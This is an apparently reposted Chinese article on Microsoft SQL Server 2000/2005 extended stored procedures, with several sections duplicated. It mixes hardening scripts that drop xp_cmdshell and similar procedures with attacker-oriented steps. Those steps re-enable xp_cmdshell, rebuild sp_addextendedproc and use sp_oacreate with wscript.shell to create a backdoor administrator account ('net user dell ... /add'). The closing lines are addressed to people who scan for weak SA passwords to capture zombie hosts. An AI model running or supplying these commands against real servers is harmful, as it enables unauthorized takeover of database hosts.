SQL入侵恢复xp_cmdshell方法总结

曾经遇过,差点抓狂,有装MSSQL的朋友,赶紧试一下,删除以下的组件.当然,前提是你要把自己的数据库搞定后再去删除,否则组件删除后很多功能不能用,为了安全,就得牺牲某些功能,当然,像我这类的,我除了把MSSQL导入后,基本上一年用不到两次,所以,我是会毫不犹豫地删除,嘿.
一, 将有安全问题的SQL过程删除.比较全面.一切为了安全!
删除了调用shell,注册表,COM组件的破坏权限 MS SQL SERVER2000
使用系统帐户登陆查询分析器 运行以下脚本 复制代码 代码如下: use master exec
sp_dropextendedproc ‘xp_cmdshell’ exec sp_dropextendedproc
‘xp_enumgroups’ exec sp_dropextendedproc ‘xp_loginconfig’ exec
sp_dropextendedproc ‘xp_enumerrorlogs’ exec sp_dropextendedproc
‘xp_getfiledetails’ exec sp_dropextendedproc ‘Sp_OACreate’ exec
sp_dropextendedproc ‘Sp_OADestroy’ exec sp_dropextendedproc
‘Sp_OAGetErrorInfo’ exec sp_dropextendedproc ‘Sp_OAGetProperty’ exec
sp_dropextendedproc ‘Sp_OAMethod’ exec sp_dropextendedproc
‘Sp_OASetProperty’ exec sp_dropextendedproc ‘Sp_OAStop’ exec
sp_dropextendedproc ‘xp_regaddmultistring’ exec sp_dropextendedproc
‘xp_regdeletekey’ exec sp_dropextendedproc ‘xp_regdeletevalue’ exec
sp_dropextendedproc ‘xp_regenumvalues’ exec sp_dropextendedproc
‘xp_regremovemultistring’ exec sp_dropextendedproc ‘xp_regwrite’ drop
procedure sp_makewebtask go 删除所有危险的扩展. exec
sp_dropextendedproc ‘xp_cmdshell’
[删除此项扩展后,将无法远程连接数据库] 以下3个存储过程会在SQL
SERVER恢复备份时被使用,非必要请勿删除 #exec sp_dropextendedproc
‘xp_dirtree’ [删除此项扩展后,将无法新建或附加数据库] #exec
sp_dropextendedproc ‘Xp_regread’ [删除此项扩展后, 还原数据库辅助]
#exec sp_dropextendedproc ‘xp_fixeddrives’
[删除此项扩展后,将无法还原数据库] 恢复脚本 复制代码 代码如下: use master EXEC
sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ EXEC
sp_addextendedproc xp_enumgroups ,@dllname =’xplog70.dll’ EXEC
sp_addextendedproc xp_loginconfig ,@dllname =’xplog70.dll’ EXEC
sp_addextendedproc xp_enumerrorlogs ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_getfiledetails ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc Sp_OACreate ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OADestroy ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OAGetErrorInfo ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OAGetProperty ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OAMethod ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OASetProperty ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OAStop ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc xp_regaddmultistring ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regdeletekey ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regdeletevalue ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regenumvalues ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regremovemultistring ,@dllname =’xpstar.dll’
EXEC sp_addextendedproc xp_regwrite ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_dirtree ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regread ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_fixeddrives ,@dllname =’xpstar.dll’ go
全部复制到”SQL查询分析器”
点击菜单上的–“查询”–“执行”,就会将有安全问题的SQL过程删除 二,SQL
server 2000漏洞一直很多

前段时间我自己的服务器就出现了一个sql的临时储存过程漏洞
漏洞扩展:xp_dirtree储存过程 事前:最近发现一个漏洞是sql服务器造成的
前几天正好没有什么事情,就用阿d的sql注入工具对自己服务器的网站进行注入,偶然发现了使用mssql的网站浸染可以利用sql注入的形式得到整个服务器上所有目录依然可以看见,然后在服务器上安装了一个抓包工具对sql
server进行抓包发现,使用工具连接sql漏洞xp_dirtree读取目录,可获得整个服务器目录,如列出c盘目录他会把你c盘下的所有目录列出来,这样是很不安全的,目前是只可以查处目录上穿东西,大家可以设想一下,如果我随意修改一个boot.ini覆盖了c盘的boot.ini是一个什么概念,呵呵首先可以导致服务其瘫痪,无法读取系统
解决方案:删除xp_dirtree,命令是sp_dropextendedproc ‘xp_dirtree’
删除了以上的那个组建您在使用阿d或者任何的sql注入工具都是白搭
在这里也给大家提供一些其他sql危险的储存过程 建议删除
[注意:所有删除sql储存过程的操作必须在mssql查询分析器里操作,下面哪些前面的是储存过程的名字后面是删除储存过程的命令]
先来列出危险的内置存储过程: xp_cmdshellsp_dropextendedproc
‘xp_cmdshell’xp_regaddmultistringsp_dropextendedproc
‘xp_regaddmultistring’xp_regdeletekeysp_dropextendedproc
‘xp_regdeletekey’xp_regdeletevaluesp_dropextendedproc
‘xp_regdeletevalue’xp_regenumkeyssp_dropextendedproc
‘xp_regenumkeys’xp_regenumvaluessp_dropextendedproc
‘xp_regenumvalues’xp_regreadsp_dropextendedproc
‘xp_regread’xp_regremovemultistringsp_dropextendedproc
‘xp_regremovemultistring’xp_regwritesp_dropextendedproc
‘xp_regwrite’

今天为了实现SQLServer/”
target=”_blank”sqlserver的复制功能,因为以前删除了很多的sqlserver的一些会导致不安全因素的扩展,导致很多功能无法用,没有办法需要重新的恢复扩展。
曾经遇过,差点抓狂,有装MSSQL的朋友,赶紧试一下,删除以下的组件.当然,前提是你要把自己的数据库搞定后再去删除,否则组件删除后很多功能不能用,为了安全,就得牺牲某些功能,当然,像我这类的,我除了把MSSQL导入后,基本上一年用不到两次,所以,我是会毫不犹豫地删除,嘿.
一, 将有安全问题的SQL过程删除.比较全面.一切为了安全!
删除了调用shell,注册表,COM组件的破坏权限 MS SQL SERVER2000
使用系统帐户登陆查询分析器 运行以下脚本 复制代码 代码如下: use master exec
sp_dropextendedproc ‘xp_cmdshell’ exec sp_dropextendedproc
‘xp_enumgroups’ exec sp_dropextendedproc ‘xp_loginconfig’ exec
sp_dropextendedproc ‘xp_enumerrorlogs’ exec sp_dropextendedproc
‘xp_getfiledetails’ exec sp_dropextendedproc ‘Sp_OACreate’ exec
sp_dropextendedproc ‘Sp_OADestroy’ exec sp_dropextendedproc
‘Sp_OAGetErrorInfo’ exec sp_dropextendedproc ‘Sp_OAGetProperty’ exec
sp_dropextendedproc ‘Sp_OAMethod’ exec sp_dropextendedproc
‘Sp_OASetProperty’ exec sp_dropextendedproc ‘Sp_OAStop’ exec
sp_dropextendedproc ‘xp_regaddmultistring’ exec sp_dropextendedproc
‘xp_regdeletekey’ exec sp_dropextendedproc ‘xp_regdeletevalue’ exec
sp_dropextendedproc ‘xp_regenumvalues’ exec sp_dropextendedproc
‘xp_regremovemultistring’ exec sp_dropextendedproc ‘xp_regwrite’ drop
procedure sp_makewebtask go 删除所有危险的扩展. exec
sp_dropextendedproc ‘xp_cmdshell’
[删除此项扩展后,将无法远程连接数据库] 以下3个存储过程会在SQL
SERVER恢复备份时被使用,非必要请勿删除 #exec sp_dropextendedproc
‘xp_dirtree’ [删除此项扩展后,将无法新建或附加数据库] #exec
sp_dropextendedproc ‘Xp_regread’ [删除此项扩展后, 还原数据库辅助]
#exec sp_dropextendedproc ‘xp_fixeddrives’
[删除此项扩展后,将无法还原数据库] 恢复脚本 复制代码 代码如下: use master EXEC
sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’ EXEC
sp_addextendedproc xp_enumgroups ,@dllname =’xplog70.dll’ EXEC
sp_addextendedproc xp_loginconfig ,@dllname =’xplog70.dll’ EXEC
sp_addextendedproc xp_enumerrorlogs ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_getfiledetails ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc Sp_OACreate ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OADestroy ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OAGetErrorInfo ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OAGetProperty ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OAMethod ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OASetProperty ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc Sp_OAStop ,@dllname =’odsole70.dll’ EXEC
sp_addextendedproc xp_regaddmultistring ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regdeletekey ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regdeletevalue ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regenumvalues ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regremovemultistring ,@dllname =’xpstar.dll’
EXEC sp_addextendedproc xp_regwrite ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_dirtree ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_regread ,@dllname =’xpstar.dll’ EXEC
sp_addextendedproc xp_fixeddrives ,@dllname =’xpstar.dll’ go
全部复制到”SQL查询分析器”
点击菜单上的–“查询”–“执行”,就会将有安全问题的SQL过程删除 二,SQL
server 2000漏洞一直很多

前段时间我自己的服务器就出现了一个sql的临时储存过程漏洞
漏洞扩展:xp_dirtree储存过程 事前:最近发现一个漏洞是sql服务器造成的
前几天正好没有什么事情,就用阿d的sql注入工具对自己服务器的网站进行注入,偶然发现了使用mssql的网站浸染可以利用sql注入的形式得到整个服务器上所有目录依然可以看见,然后在服务器上安装了一个抓包工具对sql
server进行抓包发现,使用工具连接sql漏洞xp_dirtree读取目录,可获得整个服务器目录,如列出c盘目录他会把你c盘下的所有目录列出来,这样是很不安全的,目前是只可以查处目录上穿东西,大家可以设想一下,如果我随意修改一个boot.ini覆盖了c盘的boot.ini是一个什么概念,呵呵首先可以导致服务其瘫痪,无法读取系统
解决方案:删除xp_dirtree,命令是sp_dropextendedproc ‘xp_dirtree’
删除了以上的那个组建您在使用阿d或者任何的sql注入工具都是白搭
在这里也给大家提供一些其他sql危险的储存过程 建议删除
[注意:所有删除sql储存过程的操作必须在mssql查询分析器里操作,下面哪些前面的是储存过程的名字后面是删除储存过程的命令]
先来列出危险的内置存储过程: 复制代码
代码如下: xp_cmdshell sp_dropextendedproc ‘xp_cmdshell’
xp_regaddmultistring sp_dropextendedproc ‘xp_regaddmultistring’
xp_regdeletekey sp_dropextendedproc ‘xp_regdeletekey’
xp_regdeletevalue sp_dropextendedproc ‘xp_regdeletevalue’
xp_regenumkeys sp_dropextendedproc ‘xp_regenumkeys’ xp_regenumvalues
sp_dropextendedproc ‘xp_regenumvalues’ xp_regread
sp_dropextendedproc ‘xp_regread’ xp_regremovemultistring
sp_dropextendedproc ‘xp_regremovemultistring’ xp_regwrite
sp_dropextendedproc ‘xp_regwrite’ ActiveX脚本: 复制代码 代码如下: sp_OACreate
sp_dropextendedproc ‘sp_OACreate’ sp_OADestroy sp_dropextendedproc
‘sp_OADestroy’ sp_OAMethod sp_dropextendedproc ‘sp_OAMethod’
sp_OAGetProperty sp_dropextendedproc ‘sp_OAGetProperty’
sp_OAGetErrorInfo sp_dropextendedproc ‘sp_OAGetErrorInfo’ sp_OAStop
sp_dropextendedproc ‘sp_OAStop’

1433 SQL入侵恢复xp_cmdshell方法总结 sql server
2005下开启xp_cmdshell的办法 EXEC sp_configure ‘show advanced options’,
1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
SQL2005开启’OPENROWSET’支持的方法: exec sp_configure ‘show advanced
options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed
Queries’,1;RECONFIGURE; SQL2005开启’sp_oacreate’支持的方法: exec
sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure
‘Ole Automation Procedures’,1;RECONFIGURE; 突破SA的各种困难
常见情况恢复执行xp_cmdshell 1 未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后, 第一步执行:EXEC sp_addextendedproc
xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕 2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一
DLL。原因126 恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕 3 无法在库 xpweb70.dll 中找到函数
xp_cmdshell。原因: 127(找不到指定的程序。) 恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’ 第二步执行:exec
sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’ 然后按F5键命令执行完毕
四.终极方法. 如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后, 2000servser系统: declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user dell
huxifeng007 /add’ declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup
administrators dell /add’ xp或2003server系统: declare @shell int exec
sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net user dell
huxifeng007 /add’ declare @shell int exec sp_oacreate
‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup
administrators dell /add’ ————– xp_cmdshell新的恢复办法 删除
drop procedure sp_addextendedproc drop procedure sp_oacreate exec
sp_dropextendedproc ‘xp_cmdshell’ 恢复 dbcc addextendedproc
(“sp_oacreate”,”odsole70.dll”) dbcc addextendedproc
(“xp_cmdshell”,”xplog70.dll”)
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
—————————– 删除扩展存储过过程xp_cmdshell的语句: exec
sp_dropextendedproc ‘xp_cmdshell’ 恢复cmdshell的sql语句 exec
sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname
=’xplog70.dll’ 判断存储扩展是否存在 select count(*) from
master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok 恢复xp_cmdshell exec master.dbo.addextendedproc
‘xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects
where xtype=’x’ and name=’xp_cmdshell’ 返回结果为1就ok
否则上传xplog7.0.dll exec master.dbo.addextendedproc
‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’ 堵上cmdshell的sql语句
sp_dropextendedproc “xp_cmdshell —————- 删除sql危险存储:
复制代码 代码如下: DROP PROCEDURE
sp_makewebtask exec master..sp_dropextendedproc xp_cmdshell exec
master..sp_dropextendedproc xp_dirtree exec
master..sp_dropextendedproc xp_fileexist exec
master..sp_dropextendedproc xp_terminate_process exec
master..sp_dropextendedproc sp_oamethod exec
master..sp_dropextendedproc sp_oacreate exec
master..sp_dropextendedproc xp_regaddmultistring exec
master..sp_dropextendedproc xp_regdeletekey exec
master..sp_dropextendedproc xp_regdeletevalue exec
master..sp_dropextendedproc xp_regenumkeys exec
master..sp_dropextendedproc xp_regenumvalues exec
master..sp_dropextendedproc sp_add_job exec
master..sp_dropextendedproc sp_addtask exec
master..sp_dropextendedproc xp_regread exec
master..sp_dropextendedproc xp_regwrite exec
master..sp_dropextendedproc xp_readwebtask exec
master..sp_dropextendedproc xp_makewebtask exec
master..sp_dropextendedproc xp_regremovemultistring exec
master..sp_dropextendedproc sp_OACreate DROP PROCEDURE
sp_addextendedproc /*不狐 附上恢复扩展存储过程的办法
先恢复sp_addextendedproc,语句如下: SQL代码: 复制代码 代码如下: create procedure
sp_addextendedproc — 1996/08/30 20:13 @functname nvarchar(517),/*
(owner.)name of function to call */ @dllname varchar(255)/* name of
DLL containing function */ as set implicit_transactions off if
@@trancount 0 begin raiserror(15002,-1,-1,’sp_addextendedproc’) return
(1) end dbcc addextendedproc( @functname, @dllname) return (0) —
sp_addextendedproc GO 再恢复以上所有扩展存储过程 SQL代码: 复制代码 代码如下: use master exec
sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’ exec
sp_addextendedproc xp_dirtree,’xpstar.dll’ exec sp_addextendedproc
xp_enumgroups,’xplog70.dll’ exec sp_addextendedproc
xp_fixeddrives,’xpstar.dll’ exec sp_addextendedproc
xp_loginconfig,’xplog70.dll’ exec sp_addextendedproc
xp_enumerrorlogs,’xpstar.dll’ exec sp_addextendedproc
xp_getfiledetails,’xpstar.dll’ exec sp_addextendedproc
sp_OACreate,’odsole70.dll’ exec sp_addextendedproc
sp_OADestroy,’odsole70.dll’ exec sp_addextendedproc
sp_OAGetErrorInfo,’odsole70.dll’ exec sp_addextendedproc
sp_OAGetProperty,’odsole70.dll’ exec sp_addextendedproc
sp_OAMethod,’odsole70.dll’ exec sp_addextendedproc
sp_OASetProperty,’odsole70.dll’ exec sp_addextendedproc
sp_OAStop,’odsole70.dll’ exec sp_addextendedproc
xp_regaddmultistring,’xpstar.dll’ exec sp_addextendedproc
xp_regdeletekey,’xpstar.dll’ exec sp_addextendedproc
xp_regdeletevalue,’xpstar.dll’ exec sp_addextendedproc
xp_regenumvalues,’xpstar.dll’ exec sp_addextendedproc
xp_regread,’xpstar.dll’ exec sp_addextendedproc
xp_regremovemultistring,’xpstar.dll’ exec sp_addextendedproc
xp_regwrite,’xpstar.dll’ exec sp_addextendedproc
xp_availablemedia,’xpstar.dll’ SQL Server 阻止了对组件 ‘xp_cmdshell’
的 过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用
sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’
的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 !
接下来我们用SQL语句搞定他 分析器执行的语句: EXEC sp_configure ‘show
advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,
1;RECONFIGURE